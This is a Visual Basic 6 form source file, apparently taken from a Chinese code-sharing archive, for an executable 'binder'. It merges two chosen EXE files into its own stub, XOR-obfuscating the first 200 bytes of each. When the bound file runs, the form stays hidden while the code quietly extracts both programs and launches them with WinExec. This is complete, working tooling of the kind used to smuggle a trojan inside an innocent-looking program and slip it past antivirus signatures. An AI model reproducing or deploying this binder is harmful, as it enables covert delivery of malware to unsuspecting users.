www.pudn.com > exebind.rar > mainfrm.frm
VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Begin VB.Form mainfrm
BorderStyle = 1 'Fixed Single
Caption = "文件捆绑器"
ClientHeight = 3435
ClientLeft = 45
ClientTop = 330
ClientWidth = 5070
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 3435
ScaleWidth = 5070
StartUpPosition = 2 '屏幕中心
Visible = 0 'False
Begin VB.CommandButton cmdCancel
Caption = "退出"
Height = 375
Left = 2880
TabIndex = 5
Top = 2800
Width = 1300
End
Begin VB.CommandButton cmdBind
Caption = "捆绑"
Enabled = 0 'False
Height = 375
Left = 840
TabIndex = 4
Top = 2800
Width = 1300
End
Begin VB.Frame Frame1
Caption = "设置"
Height = 2535
Left = 0
TabIndex = 0
Top = 30
Width = 5055
Begin MSComDlg.CommonDialog CDLog
Left = 4440
Top = 120
_ExtentX = 847
_ExtentY = 847
_Version = 393216
Filter = "*.exe|*.exe"
End
Begin VB.TextBox txtDestination
BackColor = &H00C0C0C0&
Height = 320
Left = 1500
Locked = -1 'True
TabIndex = 8
Top = 1840
Width = 3375
End
Begin VB.CommandButton cmdDestination
Caption = "目标文件"
Height = 380
Left = 200
TabIndex = 3
Top = 1820
Width = 1100
End
Begin VB.TextBox txtChooseOne
BackColor = &H00C0C0C0&
Height = 320
Left = 1500
Locked = -1 'True
TabIndex = 7
Top = 490
Width = 3375
End
Begin VB.TextBox txtChooseTwo
BackColor = &H00C0C0C0&
Height = 320
Left = 1500
Locked = -1 'True
TabIndex = 6
Top = 1140
Width = 3375
End
Begin VB.CommandButton cmdChooseOne
Caption = "执行文件 1"
Height = 380
Left = 200
TabIndex = 1
Top = 470
Width = 1100
End
Begin VB.CommandButton cmdChooseTwo
Caption = "执行文件 2"
Height = 380
Left = 200
TabIndex = 2
Top = 1120
Width = 1100
End
End
End
Attribute VB_Name = "mainfrm"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Const SW_SHOWNORMAL = 1
Dim FileName1 As String
Dim FileName2 As String
Dim FileDestination As String
Dim StringPlace As Long
Private Sub Form_Load()
FileName1 = "": FileName2 = "": FileDestination = "": StringPlace = 0
'On Error Resume Next
'获取本文件完整内容
Dim FileContent() As Byte
Dim FileNum As Integer
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:\1.exe" For Binary As FileNum
ReDim FileContent(FileLen(FilePath & App.EXEName & ".exe") - 1)
'ReDim FileContent(FileLen("c:\1.exe") - 1)
Get FileNum, , FileContent
Close FileNum
'查找"VbExeFileBind"
StringPlace = InStrRev(StrConv(FileContent, vbUnicode), "VbExeFileBind")
If StringPlace <> 0 Then
'Debug.Print "此文件已经捆绑过！"
Call SplitFileAndRun(FileContent)
mainfrm.Visible = False
End
Else
'Debug.Print "此文件未被捆绑！"
mainfrm.Visible = True
End If
End Sub
Private Sub cmdChooseOne_Click()
FileName1 = ""
CDLog.FileName = ""
CDLog.ShowOpen
If Trim(CDLog.FileName) <> "" And Dir(Trim(CDLog.FileName)) <> "" And UCase(Right(Trim(CDLog.FileName), 4)) = ".EXE" Then
Dim FileNameExt As String
FileNameExt = Right(CDLog.FileName, Len(CDLog.FileName) - InStrRev(Trim(CDLog.FileName), "\"))
Dim i As Integer: i = 1
While (i <= Len(FileNameExt))
If Asc(Mid(FileNameExt, i, 1)) < 32 Or Asc(Mid(FileNameExt, i, 1)) > 127 Then
MsgBox "抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
Exit Sub
End If
i = i + 1
Wend
FileName1 = Trim(CDLog.FileName)
txtChooseOne.Text = FileName1
Call CheckTxt
Else
txtChooseOne.Text = ""
FileName1 = ""
MsgBox "可能未选择文件或者文件不存在，也可能不是EXE文件！", vbCritical
End If
End Sub
Private Sub cmdChooseTwo_Click()
FileName2 = ""
CDLog.FileName = ""
CDLog.ShowOpen
If Trim(CDLog.FileName) <> "" And Dir(Trim(CDLog.FileName)) <> "" And UCase(Right(Trim(CDLog.FileName), 4)) = ".EXE" Then
Dim FileNameExt As String
FileNameExt = Right(CDLog.FileName, Len(CDLog.FileName) - InStrRev(Trim(CDLog.FileName), "\"))
Dim i As Integer: i = 1
While (i <= Len(FileNameExt))
If Asc(Mid(FileNameExt, i, 1)) < 32 Or Asc(Mid(FileNameExt, i, 1)) > 127 Then
MsgBox "抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
Exit Sub
End If
i = i + 1
Wend
FileName2 = Trim(CDLog.FileName)
txtChooseTwo.Text = FileName2
Call CheckTxt
Else
txtChooseTwo.Text = ""
FileName2 = ""
MsgBox "可能未选择文件或者文件不存在，也可能不是EXE文件！", vbCritical
End If
End Sub
Private Sub cmdDestination_Click()
FileDestination = ""
CDLog.FileName = ""
CDLog.ShowSave
If Trim(CDLog.FileName) <> "" And UCase(Right(Trim(CDLog.FileName), 4)) = ".EXE" Then
Dim FileNameExt As String
FileNameExt = Right(CDLog.FileName, Len(CDLog.FileName) - InStrRev(Trim(CDLog.FileName), "\"))
Dim i As Integer: i = 1
While (i <= Len(FileNameExt))
If Asc(Mid(FileNameExt, i, 1)) < 32 Or Asc(Mid(FileNameExt, i, 1)) > 127 Then
MsgBox "抱歉，此程序不支持文件名为中文，请将文件名改成英文！"
Exit Sub
End If
i = i + 1
Wend
FileDestination = Trim(CDLog.FileName)
txtDestination.Text = FileDestination
Call CheckTxt
Else
txtDestination.Text = ""
FileDestination = ""
MsgBox "可能未指定文件名，也可能指定的不是EXE文件！", vbCritical
End If
End Sub
Private Sub cmdBind_Click()
'On Error GoTo ERR
If Dir(FileDestination) <> "" Then
If MsgBox("文件已经存在，是否覆盖？", vbYesNo + vbQuestion) = vbYes Then
Kill (FileDestination)
Else
MsgBox "请重新选择目标文件！", vbInformation
End If
End If
'获取当前的完整路径
Dim FilePath As String
If Right(App.Path, 1) = "\" Then
FilePath = App.Path
Else
FilePath = App.Path & "\"
End If
Dim FileNum As Integer
Dim FileContent1() As Byte: Dim FileContent2() As Byte: Dim FileContent3() As Byte
Dim Iiiii As Integer: Dim Sssss As String
'读入本程序可执行文件内容
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
ReDim FileContent1(FileLen(FilePath & App.EXEName & ".exe") - 1)
Get FileNum, , FileContent1
Close FileNum
'读入第一个可执行文件内容
FileNum = FreeFile()
Open FileName1 For Binary As FileNum
ReDim FileContent2(FileLen(FileName1) - 1)
Get FileNum, , FileContent2
For Iiiii = 1 To 200 Step 1
Sssss = FileContent2(Iiiii - 1) Xor 99
FileContent2(Iiiii - 1) = Sssss
Next
Close FileNum
'读入第二个可执行文件内容
FileNum = FreeFile()
Open FileName2 For Binary As FileNum
ReDim FileContent3(FileLen(FileName2) - 1)
Get FileNum, , FileContent3
For Iiiii = 1 To 200 Step 1
Sssss = FileContent3(Iiiii - 1) Xor 99
FileContent3(Iiiii - 1) = Sssss
Next
Close FileNum
'将本程序、第一个文件和第二个文件写入新文件
FileNum = FreeFile()
Open FileDestination For Binary As FileNum
Put #FileNum, , FileContent1
Put #FileNum, , FileContent2
Put #FileNum, , FileContent3
Put #FileNum, , "VbExeFileBind"
Put #FileNum, , Trim(App.EXEName) & "|||" & Trim(Str(FileLen(FilePath & App.EXEName & ".exe"))) & "//\\" & _
Mid(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "\")), 1, InStr(1, LCase(Right(Trim(FileName1), Len(Trim(FileName1)) - InStrRev(Trim(FileName1), "\"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName1))) & "//\\" & _
Mid(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "\")), 1, InStr(1, LCase(Right(Trim(FileName2), Len(Trim(FileName2)) - InStrRev(Trim(FileName2), "\"))), ".exe") - 1) & "|||" & Trim(Str(FileLen(FileName2))) & "//\\"
Close #FileNum
Dim ii As Integer
For ii = 1 To Len(Trim(App.EXEName) & ".exe") Step 1
'Debug.Print Asc(Mid(Trim(App.EXEName) & ".exe", ii, 1))
Next ii
MsgBox "捆绑成功！", vbInformation
End
Exit Sub
ERR:
On Error Resume Next
Close #FileNum
Kill FileDestination
MsgBox "捆绑失败！", vbCritical
End Sub
Private Sub cmdCancel_Click()
End
End Sub
Sub CheckTxt()
If UCase(Right(FileName1, 4)) = ".EXE" And UCase(Right(FileName2, 4)) = ".EXE" And UCase(Right(FileDestination, 4)) = ".EXE" Then
cmdBind.Enabled = True
Else
cmdBind.Enabled = False
End If
End Sub
Sub SplitFileAndRun(FileContent() As Byte)
Dim Arr() As String '定义存放文件组信息的字符串数组
Dim Arr1() As String '定义存放文件信息的字符串数组
Dim FN(2, 1) As String
Dim StringToEof As String '定义存放标志字符后至文件尾部的字符变量
StringToEof = Mid(StrConv(FileContent, vbUnicode), StringPlace + 17) '获取标志字符后至文件尾部的字符
Arr = Split(StringToEof, "//\\") '以“//\\”拆分文件组信息的字符串数组
'调试输出文件相关信息
Dim i As Integer: Dim n As Integer
For i = LBound(Arr) To UBound(Arr) Step 1
If Arr(i) <> "" Then
Arr1 = Split(Arr(i), "|||") '以“|||”拆分文件组信息的字符串数组
For n = LBound(Arr1) To UBound(Arr1) Step 1
If Arr1(n) <> "" Then
FN(i, n) = Trim(Arr1(n))
'Debug.Print "**" & FN(i, n) & "**"
End If
Next n
End If
Next i
'获取当前的完整路径
Dim FilePath As String
If Right(App.Path, 1) = "\" Then
FilePath = App.Path
Else
FilePath = App.Path & "\"
End If
'定义读写文件需要的变量
Dim Iiiii As Integer: Dim Mmmmm As String
Dim FileContent1() As Byte
Dim FileNum As Integer
On Error Resume Next
'读取被捆绑的第一个文件
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:\1.exe" For Binary As FileNum
ReDim FileContent1(Val(FN(1, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
'判断文件是否存在
If Dir(FN(1, 0) & ".exe") <> "" Then Kill FN(1, 0) & ".exe"
'将读取到的被捆绑的第一个文件写入新文件
FileNum = FreeFile()
Open FN(1, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
'读取被捆绑的第二个文件
FileNum = FreeFile()
Open FilePath & App.EXEName & ".exe" For Binary As FileNum
'Open "c:\1.exe" For Binary As FileNum
ReDim FileContent1(Val(FN(2, 1)) - 1)
Get FileNum, Val(FN(0, 1)) + Val(FN(1, 1)) + 1, FileContent1
For Iiiii = 1 To 200 Step 1
Mmmmm = CByte(FileContent1(Iiiii - 1)) Xor 99
FileContent1(Iiiii - 1) = Mmmmm
Next
Close FileNum
'判断文件是否存在
If Dir(FN(2, 0) & ".exe") <> "" Then Kill FN(2, 0) & ".exe"
'将读取到的被捆绑的第二个文件写入新文件
FileNum = FreeFile()
Open FN(2, 0) & ".exe" For Binary As FileNum
Put #FileNum, , FileContent1
Close #FileNum
'如果存在则执行两个新生成的文件
If Dir(FilePath & FN(1, 0) & ".exe") <> "" Then
Call WinExec(FilePath & FN(1, 0) & ".exe", SW_SHOWNORMAL)
Else
'Debug.Print FN(1, 0) & ".exe" & "不存在！"
End If
If Dir(FilePath & FN(2, 0) & ".exe") <> "" Then
Call WinExec(FilePath & FN(2, 0) & ".exe", SW_SHOWNORMAL)
Else
'Debug.Print FN(2, 0) & ".exe" & "不存在！"
End If
End Sub
'补充代码，留着，以后可能有用
'Dim strArr As String, i As Long
'Dim bins() As Byte
'strArr = "abcd"
'Open "C:\str.aaa" For Binary As #1
'ReDim bins(1 To Len(strArr))
'For i = 1 To Len(strArr)
' bins(i) = Asc(Mid(strArr, i))
'Next i
'Put #1, , bins
'Close #1